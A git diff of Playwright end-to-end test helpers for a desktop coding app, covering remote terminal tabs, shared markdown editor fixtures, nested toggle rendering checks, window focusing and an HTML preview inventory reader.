+++ b/src/shared/worktree/types.ts
@@ -5,6 +5,7 @@ import type { TuiAgent } from '../tui-agent'
 import type { DiffComment, MobileDiffReviewState } from '../diff-comment-types'
 import type { EphemeralVmCheckoutMode } from '../orca-yaml-hook-types'
 import type { BuiltInWorktreeVisibilitySourceId } from '../repo-types'
+import type { WorktreeIdentity } from './identity'
 
 export type WorkspaceLinkedItem = {
   provider: 'github' | 'gitlab' | 'linear' | 'jira'
@@ -60,6 +61,8 @@ export type WorkspaceStatusDefinition = {
 export type Worktree = {
   id: string // `${repoId}::${path}`
   instanceId?: string
+  /** Immutable host/instance identity. Optional while legacy rows migrate. */
+  identity?: WorktreeIdentity
   repoId: string
   /** Durable project identity. Optional while legacy repo-only workspaces migrate. */
   projectId?: string
diff --git a/tests/e2e/helpers/docker-ssh-relay-connection.ts b/tests/e2e/helpers/docker-ssh-relay-connection.ts
index 53fca0dbb0c..a17ad916e66 100644
--- a/tests/e2e/helpers/docker-ssh-relay-connection.ts
+++ b/tests/e2e/helpers/docker-ssh-relay-connection.ts
@@ -16,6 +16,13 @@ type DockerSshRelayConnectionOptions = {
   relayGracePeriodSeconds?: number
   remotePath?: string
   viaProxyJump?: boolean
+  /**
+   * Seed a terminal tab when the worktree has none. Default true.
+   *
+   * Why it is optional: a spec asking whether the PRODUCT adds a tab cannot tell this helper's
+   * tab from the one under test, so it must be able to leave the worktree empty.
+   */
+  seedInitialTab?: boolean
 }
 
 export async function connectDockerSshRelayTarget(
@@ -24,7 +31,7 @@ export async function connectDockerSshRelayTarget(
   options: DockerSshRelayConnectionOptions = {}
 ): Promise<ConnectedDockerSshRelayTarget> {
   return page.evaluate(
-    async ({ target, remotePath, relayGracePeriodSeconds, viaProxyJump }) => {
+    async ({ target, remotePath, relayGracePeriodSeconds, viaProxyJump, seedInitialTab }) => {
       const store = window.__store
       if (!store) {
         throw new Error('Store unavailable')
@@ -147,7 +154,7 @@ export async function connectDockerSshRelayTarget(
           throw new Error(`No remote worktree found for ${result.repo.path}`)
         }
         store.getState().setActiveWorktree(worktree.id)
-        if ((store.getState().tabsByWorktree[worktree.id] ?? []).length === 0) {
+        if (seedInitialTab && (store.getState().tabsByWorktree[worktree.id] ?? []).length === 0) {
           store.getState().createTab(worktree.id)
         }
         store.getState().setActiveTabType('terminal')
@@ -168,6 +175,7 @@ export async function connectDockerSshRelayTarget(
           ? DOCKER_SSH_PROXY_JUMP_REMOTE_REPO_PATH
           : DOCKER_SSH_RELAY_REMOTE_REPO_PATH),
       viaProxyJump: options.viaProxyJump ?? false,
+      seedInitialTab: options.seedInitialTab ?? true,
       relayGracePeriodSeconds: options.relayGracePeriodSeconds ?? 1
     }
   )
diff --git a/tests/e2e/helpers/docker-ssh-relay-terminal-tabs.ts b/tests/e2e/helpers/docker-ssh-relay-terminal-tabs.ts
new file mode 100644
index 00000000000..4ed1731e1d2
--- /dev/null
+++ b/tests/e2e/helpers/docker-ssh-relay-terminal-tabs.ts
@@ -0,0 +1,38 @@
+import { expect, type Page } from '@stablyai/playwright-test'
+
+import { waitForActivePanePtyId, waitForActiveTerminalManager } from './terminal'
+
+/** Add one more terminal tab to a connected remote worktree and wait for it to own a PTY. */
+export async function createRemoteTerminalTab(page: Page, worktreeId: string): Promise<void> {
+  const tabId = await page.evaluate((id) => {
+    const state = window.__store?.getState()
+    if (!state) {
+      throw new Error('Store unavailable')
+    }
+    const tab = state.createTab(id, undefined, undefined, { activate: true })
+    state.setActiveTab(tab.id)
+    state.setActiveTabType('terminal')
+    return tab.id
+  }, worktreeId)
+  await expect
+    .poll(() => page.evaluate(() => window.__store?.getState().activeTabId ?? null), {
+      timeout: 10_000
+    })
+    .toBe(tabId)
+  await waitForActiveTerminalManager(page, 60_000)
+  await waitForActivePanePtyId(page, 60_000)
+}
+
+export async function readRemoteTerminalTabs(
+  page: Page,
+  worktreeId: string
+): Promise<{ id: string; ptyId: string | null }[]> {
+  return page.evaluate(
+    (id) =>
+      (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => ({
+        id: tab.id,
+        ptyId: tab.ptyId
+      })),
+    worktreeId
+  )
+}
diff --git a/tests/e2e/helpers/markdown-editor-fixture.ts b/tests/e2e/helpers/markdown-editor-fixture.ts
new file mode 100644
index 00000000000..b9b71a3bb81
--- /dev/null
+++ b/tests/e2e/helpers/markdown-editor-fixture.ts
@@ -0,0 +1,139 @@
+import { randomUUID } from 'node:crypto'
+import { mkdir, rm, writeFile } from 'node:fs/promises'
+import path from 'node:path'
+import type { Locator, Page } from '@stablyai/playwright-test'
+import { expect } from '@stablyai/playwright-test'
+
+const MARKDOWN_HYDRATION_TIMEOUT_MS = 25_000
+
+export type ActiveWorktreeContext = {
+  worktreeId: string
+  rootPath: string
+}
+
+export type ActiveEditorFile = {
+  filePath: string
+}
+
+export async function getActiveWorktreeContext(page: Page): Promise<ActiveWorktreeContext> {
+  return page.evaluate(() => {
+    const store = window.__store
+    if (!store) {
+      throw new Error('window.__store is not available')
+    }
+
+    const state = store.getState()
+    const worktreeId = state.activeWorktreeId
+    if (!worktreeId) {
+      throw new Error('No active worktree is selected')
+    }
+
+    const worktree = Object.values(state.worktreesByRepo)
+      .flat()
+      .find((entry) => entry.id === worktreeId)
+    if (!worktree) {
+      throw new Error(`Active worktree was not found in store: ${worktreeId}`)
+    }
+
+    return { worktreeId, rootPath: worktree.path }
+  })
+}
+
+export async function createMarkdownFixture(
+  context: ActiveWorktreeContext,
+  directoryName: string,
+  slug: string,
+  workerIndex: number,
+  initialMarkdown: string
+): Promise<string> {
+  const directory = path.join(context.rootPath, directoryName)
+  await mkdir(directory, { recursive: true })
+
+  const filePath = path.join(directory, `${slug}-${workerIndex}-${Date.now()}-${randomUUID()}.md`)
+  await writeFile(filePath, initialMarkdown, 'utf8')
+
+  return filePath
+}
+
+export async function cleanupMarkdownFixture(filePath: string | null): Promise<void> {
+  if (!filePath) {
+    return
+  }
+
+  try {
+    await rm(filePath, { force: true })
+  } catch {
+    // Best-effort cleanup must not hide the editor regression assertion.
+  }
+}
+
+export async function openMarkdownFixture(
+  page: Page,
+  context: ActiveWorktreeContext,
+  filePath: string
+): Promise<ActiveEditorFile> {
+  const relativePath = path.relative(context.rootPath, filePath)
+
+  await page.evaluate(
+    ({ filePath, relativePath, worktreeId }) => {
+      const store = window.__store
+      if (!store) {
+        throw new Error('window.__store is not available')
+      }
+
+      store.getState().openFile({
+        filePath,
+        relativePath,
+        worktreeId,
+        language: 'markdown',
+        mode: 'edit'
+      })
+    },
+    { filePath, relativePath, worktreeId: context.worktreeId }
+  )
+
+  let activeFile: ActiveEditorFile | null = null
+  await expect
+    .poll(
+      async () => {
+        activeFile = await page.evaluate(() => {
+          const store = window.__store
+          if (!store) {
+            return null
+          }
+
+          const state = store.getState()
+          const file = state.openFiles.find((entry) => entry.id === state.activeFileId)
+          return file ? { filePath: file.filePath } : null
+        })
+        return activeFile?.filePath ?? null
+      },
+      {
+        timeout: 5_000,
+        message: `Active editor file did not become ${filePath}`
+      }
+    )
+    .toBe(filePath)
+
+  if (!activeFile) {
+    throw new Error(`Active editor file was not available after opening ${filePath}`)
+  }
+
+  return activeFile
+}
+
+export async function waitForRichMarkdownEditor(page: Page): Promise<Locator> {
+  const editor = page.locator('.rich-markdown-editor')
+  await expect(editor).toBeVisible({ timeout: MARKDOWN_HYDRATION_TIMEOUT_MS })
+  return editor
+}
+
+export async function closeActiveEditorTab(page: Page, filePath: string): Promise<void> {
+  const fileName = path.basename(filePath)
+  const tab = page.locator('[data-tab-id]').filter({ hasText: fileName }).last()
+  await tab.getByRole('button', { name: 'Close tab' }).click()
+
+  await expect(page.locator('.editor-header-path').filter({ hasText: fileName })).toHaveCount(0, {
+    timeout: 10_000
+  })
+}
diff --git a/tests/e2e/helpers/markdown-nested-toggle.ts b/tests/e2e/helpers/markdown-nested-toggle.ts
new file mode 100644
index 00000000000..6ea15a8c68b
--- /dev/null
+++ b/tests/e2e/helpers/markdown-nested-toggle.ts
@@ -0,0 +1,163 @@
+import type { Page } from '@stablyai/playwright-test'
+import { expect } from '@stablyai/playwright-test'
+
+const TOGGLE_RENDER_TIMEOUT_MS = 10_000
+
+export const NESTED_TOGGLE_FIXTURE_DIRECTORY = '.orca-e2e-markdown-nested-toggle'
+
+export const NESTED_TOGGLE_BODY_TEXT = 'Get back to ppl'
+
+export const NESTED_TOGGLE_MARKDOWN = [
+  '# 08/27/2026',
+  '',
+  '<details class="orca-details" data-orca-toggle="heading-3" open>',
+  '<summary>08/26/2026</summary>',
+  '',
+  '<details class="orca-details" open>',
+  '<summary>goals</summary>',
+  '',
+  '- Get back to ppl',
+  '',
+  '</details>',
+  '',
+  '- after inner toggle',
+  '',
+  '</details>',
+  ''
+].join('\n')
+
+// An inner toggle carrying unsupported attributes cannot become an editable
+// node, so the whole block must still fall back to byte-preserving passthrough.
+export const UNSUPPORTED_NESTED_TOGGLE_MARKDOWN = [
+  '<details class="orca-details" open>',
+  '<summary>outer</summary>',
+  '',
+  '<details id="not-a-toggle">',
+  '<summary>inner</summary>',
+  '',
+  'Body',
+  '',
+  '</details>',
+  '',
+  '</details>',
+  ''
+].join('\n')
+
+export type RenderedToggles = {
+  toggleCount: number
+  nestedToggleCount: number
+  summaries: string[]
+  variants: (string | null)[]
+  passthroughBlockCount: number
+}
+
+export async function readRenderedToggles(page: Page): Promise<RenderedToggles> {
+  return page.evaluate(() => {
+    const editor = document.querySelector('.rich-markdown-editor')
+    const toggles = Array.from(editor?.querySelectorAll('[data-type="details"]') ?? [])
+
+    return {
+      toggleCount: toggles.length,
+      nestedToggleCount:
+        editor?.querySelectorAll('[data-type="details"] [data-type="details"]').length ?? 0,
+      summaries: toggles.map(
+        (toggle) => toggle.querySelector('summary')?.textContent?.trim() ?? ''
+      ),
+      variants: toggles.map((toggle) => toggle.getAttribute('data-orca-toggle')),
+      passthroughBlockCount: editor?.querySelectorAll('[data-raw-markdown-html-block]').length ?? 0
+    }
+  })
+}
+
+export async function expectEditableNestedToggles(page: Page): Promise<void> {
+  await expect
+    .poll(async () => readRenderedToggles(page), {
+      timeout: TOGGLE_RENDER_TIMEOUT_MS,
+      message: 'Nested toggles did not render as editable toggle nodes'
+    })
+    .toEqual({
+      toggleCount: 2,
+      nestedToggleCount: 1,
+      summaries: ['08/26/2026', 'goals'],
+      variants: ['heading-3', null],
+      passthroughBlockCount: 0
+    })
+}
+
+export async function expectPassthroughFallback(page: Page): Promise<void> {
+  const passthrough = page.locator('.rich-markdown-editor [data-raw-markdown-html-block]')
+  await expect(passthrough).toHaveCount(1, { timeout: TOGGLE_RENDER_TIMEOUT_MS })
+  await expect(passthrough).toContainText('<details id="not-a-toggle">')
+}
+
+async function selectionIsInsideNestedToggleBody(page: Page): Promise<boolean> {
+  return page.evaluate(() => {
+    const editor = document.querySelector('.rich-markdown-editor') as
+      | (Element & { editor?: { state?: { selection?: { from?: number; empty?: boolean } } } })
+      | null
+    const paragraph = editor?.querySelector(
+      '[data-type="details"] [data-type="details"] [data-type="detailsContent"] p'
+    ) as (Element & { pmViewDesc?: { posAtStart?: number; posAtEnd?: number } }) | null
+    const selection = editor?.editor?.state?.selection
+    const from = selection?.from
+    const start = paragraph?.pmViewDesc?.posAtStart
+    const end = paragraph?.pmViewDesc?.posAtEnd
+
+    if (
+      !selection?.empty ||
+      typeof from !== 'number' ||
+      typeof start !== 'number' ||
+      typeof end !== 'number'
+    ) {
+      return false
+    }
+
+    return from >= start && from <= end
+  })
+}
+
+export async function placeCaretInNestedToggleBody(page: Page): Promise<void> {
+  // Real input only: click the body text itself, then extend to end of line.
+  await page
+    .locator('.rich-markdown-editor')
+    .getByText(NESTED_TOGGLE_BODY_TEXT, { exact: true })
+    .click()
+  await page.keyboard.press('End')
+
+  await expect
+    .poll(async () => selectionIsInsideNestedToggleBody(page), {
+      timeout: 3_000,
+      message: 'Clicking the nested toggle body text did not place the caret inside it'
+    })
+    .toBe(true)
+}
+
+export async function expectSentinelInsideNestedToggle(
+  page: Page,
+  sentinel: string
+): Promise<void> {
+  const nestedBody = page.locator(
+    '.rich-markdown-editor [data-type="details"] [data-type="details"] [data-type="detailsContent"]'
+  )
+  await expect(nestedBody).toContainText(sentinel, { timeout: TOGGLE_RENDER_TIMEOUT_MS })
+}
+
+export function expectFileKeepsNesting(fileContents: string, sentinel: string): void {
+  const outerOpen = fileContents.indexOf('<details class="orca-details" data-orca-toggle=')
+  const innerOpen = fileContents.indexOf('<details class="orca-details" open>')
+  const firstClose = fileContents.indexOf('</details>')
+  const sentinelAt = fileContents.indexOf(sentinel)
+
+  expect({
+    openTagCount: fileContents.split('<details').length - 1,
+    closeTagCount: fileContents.split('</details>').length - 1,
+    innerIsNestedInOuter: outerOpen !== -1 && innerOpen > outerOpen,
+    // The edited line has to stay inside the inner toggle, before its close.
+    sentinelInsideInner: sentinelAt !== -1 && sentinelAt > innerOpen && sentinelAt < firstClose
+  }).toEqual({
+    openTagCount: 2,
+    closeTagCount: 2,
+    innerIsNestedInOuter: true,
+    sentinelInsideInner: true
+  })
+}
diff --git a/tests/e2e/helpers/markdown-ordered-list-exit.ts b/tests/e2e/helpers/markdown-ordered-list-exit.ts
index 30e0258c4ea..5a026e78e53 100644
--- a/tests/e2e/helpers/markdown-ordered-list-exit.ts
+++ b/tests/e2e/helpers/markdown-ordered-list-exit.ts
@@ -1,16 +1,20 @@
-import { randomUUID } from 'node:crypto'
-import { mkdir, rm, writeFile } from 'node:fs/promises'
-import path from 'node:path'
-import type { Locator, Page } from '@stablyai/playwright-test'
+import type { Page } from '@stablyai/playwright-test'
 import { expect } from '@stablyai/playwright-test'
+import {
+  createMarkdownFixture as createMarkdownFixtureIn,
+  type ActiveWorktreeContext
+} from './markdown-editor-fixture'
 
-const MARKDOWN_HYDRATION_TIMEOUT_MS = 25_000
 const DRAFT_SERIALIZATION_TIMEOUT_MS = 10_000
+const FIXTURE_DIRECTORY = '.orca-e2e-markdown-ordered-list'
 
-export type ActiveWorktreeContext = {
-  worktreeId: string
-  rootPath: string
-}
+export {
+  cleanupMarkdownFixture,
+  getActiveWorktreeContext,
+  openMarkdownFixture,
+  waitForRichMarkdownEditor,
+  type ActiveWorktreeContext
+} from './markdown-editor-fixture'
 
 export type MatrixRow = {
   name: string
@@ -20,120 +24,13 @@ export type MatrixRow = {
   run: (page: Page, sentinel: string) => Promise<void>
 }
 
-type ActiveEditorFile = {
-  filePath: string
-}
-
-export async function getActiveWorktreeContext(page: Page): Promise<ActiveWorktreeContext> {
-  return page.evaluate(() => {
-    const store = window.__store
-    if (!store) {
-      throw new Error('window.__store is not available')
-    }
-
-    const state = store.getState()
-    const worktreeId = state.activeWorktreeId
-    if (!worktreeId) {
-      throw new Error('No active worktree is selected')
-    }
-
-    const worktree = Object.values(state.worktreesByRepo)
-      .flat()
-      .find((entry) => entry.id === worktreeId)
-    if (!worktree) {
-      throw new Error(`Active worktree was not found in store: ${worktreeId}`)
-    }
-
-    return { worktreeId, rootPath: worktree.path }
-  })
-}
-
 export async function createMarkdownFixture(
   context: ActiveWorktreeContext,
   slug: string,
   workerIndex: number,
   initialMarkdown: string
 ): Promise<string> {
-  const directory = path.join(context.rootPath, '.orca-e2e-markdown-ordered-list')
-  await mkdir(directory, { recursive: true })
-
-  const filePath = path.join(directory, `${slug}-${workerIndex}-${Date.now()}-${randomUUID()}.md`)
-  await writeFile(filePath, initialMarkdown, 'utf8')
-
-  return filePath
-}
-
-export async function cleanupMarkdownFixture(filePath: string | null): Promise<void> {
-  if (!filePath) {
-    return
-  }
-
-  try {
-    await rm(filePath, { force: true })
-  } catch {
-    // Best-effort cleanup must not hide the editor regression assertion.
-  }
-}
-
-export async function openMarkdownFixture(
-  page: Page,
-  context: ActiveWorktreeContext,
-  filePath: string
-): Promise<ActiveEditorFile> {
-  const relativePath = path.relative(context.rootPath, filePath)
-
-  await page.evaluate(
-    ({ filePath, relativePath, worktreeId }) => {
-      const store = window.__store
-      if (!store) {
-        throw new Error('window.__store is not available')
-      }
-
-      store.getState().openFile({
-        filePath,
-        relativePath,
-        worktreeId,
-        language: 'markdown',
-        mode: 'edit'
-      })
-    },
-    { filePath, relativePath, worktreeId: context.worktreeId }
-  )
-
-  let activeFile: ActiveEditorFile | null = null
-  await expect
-    .poll(
-      async () => {
-        activeFile = await page.evaluate(() => {
-          const store = window.__store
-          if (!store) {
-            return null
-          }
-
-          const state = store.getState()
-          const file = state.openFiles.find((entry) => entry.id === state.activeFileId)
-          return file ? { filePath: file.filePath } : null
-        })
-        return activeFile?.filePath ?? null
-      },
-      {
-        timeout: 5_000,
-        message: `Active editor file did not become ${filePath}`
-      }
-    )
-    .toBe(filePath)
-
-  if (!activeFile) {
-    throw new Error(`Active editor file was not available after opening ${filePath}`)
-  }
-
-  return activeFile
-}
-
-export async function waitForRichMarkdownEditor(page: Page): Promise<Locator> {
-  const editor = page.locator('.rich-markdown-editor')
-  await expect(editor).toBeVisible({ timeout: MARKDOWN_HYDRATION_TIMEOUT_MS })
-  return editor
+  return createMarkdownFixtureIn(context, FIXTURE_DIRECTORY, slug, workerIndex, initialMarkdown)
 }
 
 export async function expectSentinelParagraphOutsideOrderedList(
diff --git a/tests/e2e/helpers/paired-client-window-reveal.ts b/tests/e2e/helpers/paired-client-window-reveal.ts
index 60af9c71450..9a8dfebbce6 100644
--- a/tests/e2e/helpers/paired-client-window-reveal.ts
+++ b/tests/e2e/helpers/paired-client-window-reveal.ts
@@ -26,6 +26,37 @@ export function assertPairedClientWindowRevealed(report: PairedClientWindowRevea
   }
 }
 
+export type PairedClientWindowFocusReport = PairedClientWindowRevealReport & { isFocused: boolean }
+
+/**
+ * Brings a paired client to the front, which a launched-but-background window never is. Main-side
+ * policies that ask whether the reader is looking at a WebContents read the OS focus state, so a
+ * spec driving real presses through such a policy has to put the window there first.
+ */
+export async function focusPairedClientWindow(
+  client: RevealablePairedClient,
+  { timeoutMs = 15_000 }: { timeoutMs?: number } = {}
+): Promise<PairedClientWindowFocusReport> {
+  const revealed = await revealPairedClientWindow(client)
+  const deadline = Date.now() + timeoutMs
+  let isFocused = false
+  while (!isFocused) {
+    isFocused = await client.app.evaluate(({ app, BrowserWindow }) => {
+      const window = BrowserWindow.getAllWindows()[0]
+      // Why steal: nothing else in the run is asking for the front, and the window manager keeps
+      // the launching terminal there otherwise.
+      app.focus({ steal: true })
+      window?.focus()
+      return window?.isFocused() ?? false
+    })
+    if (isFocused || Date.now() >= deadline) {
+      break
+    }
+    await client.page.waitForTimeout(250)
+  }
+  return { ...revealed, isFocused }
+}
+
 export async function revealPairedClientWindow(
   client: RevealablePairedClient
 ): Promise<PairedClientWindowRevealReport> {
diff --git a/tests/e2e/helpers/paired-html-preview-inventory.ts b/tests/e2e/helpers/paired-html-preview-inventory.ts
index e5d8eee1f67..ba4fba630da 100644
--- a/tests/e2e/helpers/paired-html-preview-inventory.ts
+++ b/tests/e2e/helpers/paired-html-preview-inventory.ts
@@ -1,134 +1,259 @@
 import type { Page } from '@stablyai/playwright-test'
 
+/**
+ * Census for the paired HTML preview journey. Since STA-5557 the preview is a client-local
+ * *browser* page located by a workspace document and served over `orca-preview://`, so the two
+ * halves of the oracle point in opposite directions: the client must gain exactly one browser
+ * workspace — the document one — while the host gains no browser page at all.
+ */
 export type PairedHtmlPreviewInventory = {
-  clientRemotePageIds: string[]
-  clientUnifiedTabs: { groupId: string; id: string }[]
-  clientWorkspaceIds: string[]
-  hostPageIds: string[]
-  hostTabs: { browserPageId: string | null; id: string }[]
-  hostResponseError: string | null
   hostResponseOk: boolean
-  hostTabGroups: { id: string; tabOrder: string[] }[]
-  hostTabIds: string[]
-  totalClientUnified: number
-  totalClientWorkspaces: number
-  totalHost: number
+  hostResponseError: string | null
+  /**
+   * Every browser page the host itself holds for the worktree: its own, plus the ones clients
+   * publish to it. Why this and not `session.tabs.list`: a headless host projects only terminals
+   * into that snapshot, so asking it whether a preview reached the host answers "no" whether or
+   * not the preview was ever held back. This reads the registry a published page lands in.
+   */
+  hostBrowserPages: { id: string; url: string; title: string }[]
+  /** The same question through the tab snapshot, which is what a mobile or web client sees. */
+  hostSessionBrowserTabs: { id: string; url: string }[]
+  clientBrowserWorkspaceCount: number
+  /** Why every workspace and not just this one: a routed-out link opens in whichever workspace is
+   *  active, so a per-worktree count could miss a tab that really was created. */
+  clientBrowserWorkspaceCountAllWorktrees: number
+  /** The client rows this document is open in — the preview, in browser-tab terms. */
+  docWorkspaces: DocPreviewWorkspaceRow[]
+  /** Editor rows for the retired preview species; a restore that resurrects one shows up here. */
+  htmlPreviewEditorFileIds: string[]
+}
+
+export type DocPreviewWorkspaceRow = {
+  groupId: string | null
+  pageId: string
+  pageUrl: string
+  title: string
+  unifiedTabId: string | null
+  workspaceId: string
+  /** Mirrored onto the workspace as well as the page; both must name the document. */
+  workspaceDocFilePath: string | null
+  workspaceUrl: string
 }
 
 export async function readPairedHtmlPreviewInventory(
   page: Page,
   args: {
     environmentId: string
-    fixtureName: string
+    docFilePath: string
     worktreeId: string
   }
 ): Promise<PairedHtmlPreviewInventory> {
-  return page.evaluate(async ({ environmentId, fixtureName, worktreeId }) => {
-    const fault = (
-      window as Window & {
-        __webRuntimeBrowserCreationFault?: { takeInventoryRpcFailure: () => string | null }
-      }
-    ).__webRuntimeBrowserCreationFault?.takeInventoryRpcFailure()
-    const response = fault
-      ? ({
-          ok: false,
-          error: { code: fault, message: 'E2E forced inventory RPC failure' }
-        } as const)
-      : await window.api.runtimeEnvironments.call({
-          selector: environmentId,
-          method: 'session.tabs.list',
-          params: { worktree: `id:${worktreeId}` },
-          timeoutMs: 15_000
-        })
+  return page.evaluate(async ({ environmentId, docFilePath, worktreeId }) => {
+    const call = async (method: string) =>
+      window.api.runtimeEnvironments.call({
+        selector: environmentId,
+        method,
+        params: { worktree: `id:${worktreeId}` },
+        timeoutMs: 15_000
+      })
+    const [pagesResponse, tabsResponse] = await Promise.all([
+      call('browser.tabList'),
+      call('session.tabs.list')
+    ])
     const state = window.__store?.getState()
-    const hostResponseOk = response.ok
-    const hostResponseError = response.ok ? null : JSON.stringify(response.error)
-    const clientWorkspaces = (state?.browserTabsByWorktree[worktreeId] ?? []).filter((tab) =>
-      tab.url.endsWith(`/${fixtureName}`)
-    )
-    const clientWorkspaceIds = clientWorkspaces.map((tab) => tab.id)
-    const clientPages = clientWorkspaces.flatMap(
-      (workspace) => state?.browserPagesByWorkspace[workspace.id] ?? []
-    )
-    const hostTabs = hostResponseOk
-      ? response.result.tabs.filter(
-          (tab) => tab.type === 'browser' && tab.url.endsWith(`/${fixtureName}`)
-        )
+    // Why named here: RPC results cross the preload boundary as `unknown`, so this is the one
+    // place the shapes read below are asserted.
+    const hostPages = pagesResponse.ok
+      ? (pagesResponse.result as { tabs: { browserPageId: string; url: string; title: string }[] })
+          .tabs
       : []
+    const hostTabs = tabsResponse.ok
+      ? (tabsResponse.result as { tabs: { id: string; type: string; url: string }[] }).tabs
+      : []
+    const workspaces = state?.browserTabsByWorktree[worktreeId] ?? []
+    const unifiedTabs = state?.unifiedTabsByWorktree[worktreeId] ?? []
+    const docWorkspaces: DocPreviewWorkspaceRow[] = []
+    for (const workspace of workspaces) {
+      for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) {
+        if (browserPage.docLocation?.filePath !== docFilePath) {
+          continue
+        }
+        const unifiedTab = unifiedTabs.find(
+          (tab) => tab.contentType === 'browser' && tab.entityId === workspace.id
+        )
+        docWorkspaces.push({
+          groupId: unifiedTab?.groupId ?? null,
+          pageId: browserPage.id,
+          pageUrl: browserPage.url,
+          title: browserPage.title,
+          unifiedTabId: unifiedTab?.id ?? null,
+          workspaceId: workspace.id,
+          workspaceDocFilePath: workspace.docLocation?.filePath ?? null,
+          workspaceUrl: workspace.url
+        })
+      }
+    }
     return {
-      clientRemotePageIds: clientPages.flatMap((browserPage) => {
-        const remotePageId = state?.remoteBrowserPageHandlesByPageId[browserPage.id]?.remotePageId
-        return remotePageId ? [remotePageId] : []
-      }),
-      clientUnifiedTabs: (state?.unifiedTabsByWorktree[worktreeId] ?? [])
-        .filter((tab) => tab.contentType === 'browser' && clientWorkspaceIds.includes(tab.entityId))
-        .map((tab) => ({ groupId: tab.groupId, id: tab.id })),
-      clientWorkspaceIds,
-      hostPageIds: hostTabs.flatMap((tab) =>
-        tab.type === 'browser' && tab.browserPageId ? [tab.browserPageId] : []
+      hostResponseOk: pagesResponse.ok && tabsResponse.ok,
+      hostResponseError: JSON.stringify(
+        [pagesResponse, tabsResponse].filter((response) => !response.ok)
       ),
-      hostTabs: hostTabs.map((tab) => ({
-        browserPageId: tab.type === 'browser' ? (tab.browserPageId ?? null) : null,
-        id: tab.id
+      hostBrowserPages: hostPages.map((hostPage) => ({
+        id: hostPage.browserPageId,
+        title: hostPage.title,
+        url: hostPage.url
       })),
-      hostResponseError,
-      hostResponseOk,
-      hostTabGroups: hostResponseOk ? (response.result.tabGroups ?? []) : [],
-      hostTabIds: hostTabs.map((tab) => tab.id),
-      totalClientUnified: (state?.unifiedTabsByWorktree[worktreeId] ?? []).filter(
-        (tab) => tab.contentType === 'browser'
-      ).length,
-      totalClientWorkspaces: (state?.browserTabsByWorktree[worktreeId] ?? []).length,
-      totalHost: hostResponseOk
-        ? response.result.tabs.filter((tab) => tab.type === 'browser').length
-        : -1
+      hostSessionBrowserTabs: hostTabs
+        .filter((tab) => tab.type === 'browser')
+        .map((tab) => ({ id: tab.id, url: tab.url })),
+      clientBrowserWorkspaceCount: workspaces.length,
+      clientBrowserWorkspaceCountAllWorktrees: Object.values(
+        state?.browserTabsByWorktree ?? {}
+      ).reduce((total, tabs) => total + tabs.length, 0),
+      docWorkspaces,
+      htmlPreviewEditorFileIds: (state?.openFiles ?? [])
+        .filter((file) => file.id.startsWith('html-preview::'))
+        .map((file) => file.id)
     }
   }, args)
 }
 
-type BrowserCreationFaultWindow = Window & {
-  __webRuntimeBrowserCreationFault?: {
-    armInventoryRpcFailure: () => void
-    armSettlement: () => void
-    waitForSettlement: () => Promise<
-      { status: 'fulfilled'; created: boolean } | { status: 'rejected'; error: string }
-    >
-  }
-}
-
-export async function armPairedHtmlPreviewCreationObservation(page: Page): Promise<void> {
-  await page.evaluate(() => {
-    const fault = (window as BrowserCreationFaultWindow).__webRuntimeBrowserCreationFault
-    if (!fault) {
-      throw new Error('Browser creation E2E observation seam unavailable')
-    }
-    fault.armSettlement()
-  })
-}
-
-export async function armPairedHtmlPreviewInventoryRpcFailure(page: Page): Promise<void> {
-  await page.evaluate(() => {
-    const fault = (window as BrowserCreationFaultWindow).__webRuntimeBrowserCreationFault
-    if (!fault) {
-      throw new Error('Browser inventory E2E fault seam unavailable')
-    }
-    fault.armInventoryRpcFailure()
-  })
-}
-
-export async function waitForPairedHtmlPreviewCreationSettlement(page: Page): Promise<void> {
-  const settlement = await page.evaluate(async () => {
-    const fault = (window as BrowserCreationFaultWindow).__webRuntimeBrowserCreationFault
-    if (!fault) {
-      throw new Error('Browser creation E2E observation seam unavailable')
-    }
-    return fault.waitForSettlement()
-  })
-  if (settlement.status !== 'fulfilled' || !settlement.created) {
+/** The one document row, or a failure naming how many there actually were. */
+export function requireSingleDocWorkspace(
+  inventory: PairedHtmlPreviewInventory
+): DocPreviewWorkspaceRow {
+  if (inventory.docWorkspaces.length !== 1) {
     throw new Error(
-      settlement.status === 'rejected'
-        ? `Remote HTML preview creation rejected: ${settlement.error}`
-        : 'Remote HTML preview creation did not succeed'
+      `expected exactly one document browser workspace, saw ${inventory.docWorkspaces.length}`
     )
   }
+  return inventory.docWorkspaces[0]!
+}
+
+/**
+ * Reads the rendered document out of the preview guest. The guest is a real `<webview>` on its
+ * own partition, so Playwright cannot reach into it directly — the embedder evaluates for us.
+ */
+export async function readDocPreviewRenderedText(
+  page: Page,
+  selector: string
+): Promise<string | null> {
+  return page.evaluate(async (targetSelector) => {
+    const guest = document.querySelector('webview[src^="orca-preview://"]') as {
+      executeJavaScript?: (code: string) => Promise<unknown>
+    } | null
+    if (!guest?.executeJavaScript) {
+      return null
+    }
+    try {
+      const text = await guest.executeJavaScript(
+        `document.querySelector(${JSON.stringify(targetSelector)})?.textContent ?? null`
+      )
+      return typeof text === 'string' ? text : null
+    } catch {
+      // Why: the guest rejects until it is attached and dom-ready; the caller polls.
+      return null
+    }
+  }, selector)
+}
+
+/**
+ * Viewport point of an element inside the preview guest. Playwright cannot target a node in a
+ * webview, so the guest reports the rect and the embedder adds the webview's own offset — a real
+ * mouse press there is the only click Chromium treats as a user gesture.
+ *
+ * Returns null until the guest's own hit test at that point resolves to the element, so a caller
+ * polling on it cannot click a rect that layout is still moving.
+ */
+export async function readDocPreviewElementCenter(
+  page: Page,
+  selector: string
+): Promise<{ x: number; y: number } | null> {
+  return page.evaluate(async (targetSelector) => {
+    const guest = document.querySelector('webview[src^="orca-preview://"]') as
+      | (HTMLElement & { executeJavaScript?: (code: string) => Promise<unknown> })
+      | null
+    if (!guest?.executeJavaScript) {
+      return null
+    }
+    try {
+      const rect = (await guest.executeJavaScript(
+        `(() => { const el = document.querySelector(${JSON.stringify(targetSelector)});
+          if (!el) { return null }
+          const r = el.getBoundingClientRect();
+          const x = r.left + r.width / 2;
+          const y = r.top + r.height / 2;
+          return el.contains(document.elementFromPoint(x, y)) ? { x, y } : null })()`
+      )) as { x: number; y: number } | null
+      if (!rect) {
+        return null
+      }
+      const hostRect = guest.getBoundingClientRect()
+      if (hostRect.width === 0 || hostRect.height === 0) {
+        return null
+      }
+      return { x: hostRect.left + rect.x, y: hostRect.top + rect.y }
+    } catch {
+      return null
+    }
+  }, selector)
+}
+
